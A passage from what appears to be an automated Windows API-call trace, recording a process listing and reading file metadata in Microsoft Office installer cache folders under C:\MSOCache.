ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0263.815] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0263.815] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0263.815] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0263.815] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0263.815] GetLastError () returned 0x12 [0263.815] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x548f40 [0263.816] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0263.816] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.816] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0263.816] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0263.816] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0263.816] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0263.816] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0263.816] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0263.816] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0263.816] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.msi", cAlternateFileName="")) returned 1 [0263.816] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.xml", cAlternateFileName="")) returned 1 [0263.816] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0263.816] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0263.816] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0263.816] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0263.816] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0263.816] GetLastError () returned 0x12 [0263.816] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9499c0) returned 1 [0263.816] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0263.817] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9498b8) returned 1 [0263.817] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9497b0) returned 1 [0263.817] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0263.817] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x118f3c0 | out: lpFileInformation=0x118f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0263.819] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0263.819] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f404, lpLastWriteTime=0x118f404) returned 0 [0263.819] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x94fe90, nOutBufferSize=0x4000, lpBytesReturned=0x118f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x94fe90, lpBytesReturned=0x118f45c, lpOverlapped=0x0) returned 0 [0263.819] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94fe90) returned 1 [0263.819] NtClose (Handle=0x188) returned 0x0 [0263.819] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x944fd8) returned 1 [0263.819] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x548f40 [0263.821] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.821] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0263.821] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0263.821] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0263.821] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0263.821] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0263.822] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0263.822] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0263.822] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.msi", cAlternateFileName="")) returned 1 [0263.822] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.xml", cAlternateFileName="")) returned 1 [0263.822] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0263.822] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0263.822] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0263.822] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0263.822] GetLastError () returned 0x12 [0263.822] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x549040 [0263.822] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0263.822] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.822] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0263.822] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0263.822] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0263.822] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0263.822] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0263.822] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0263.822] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, 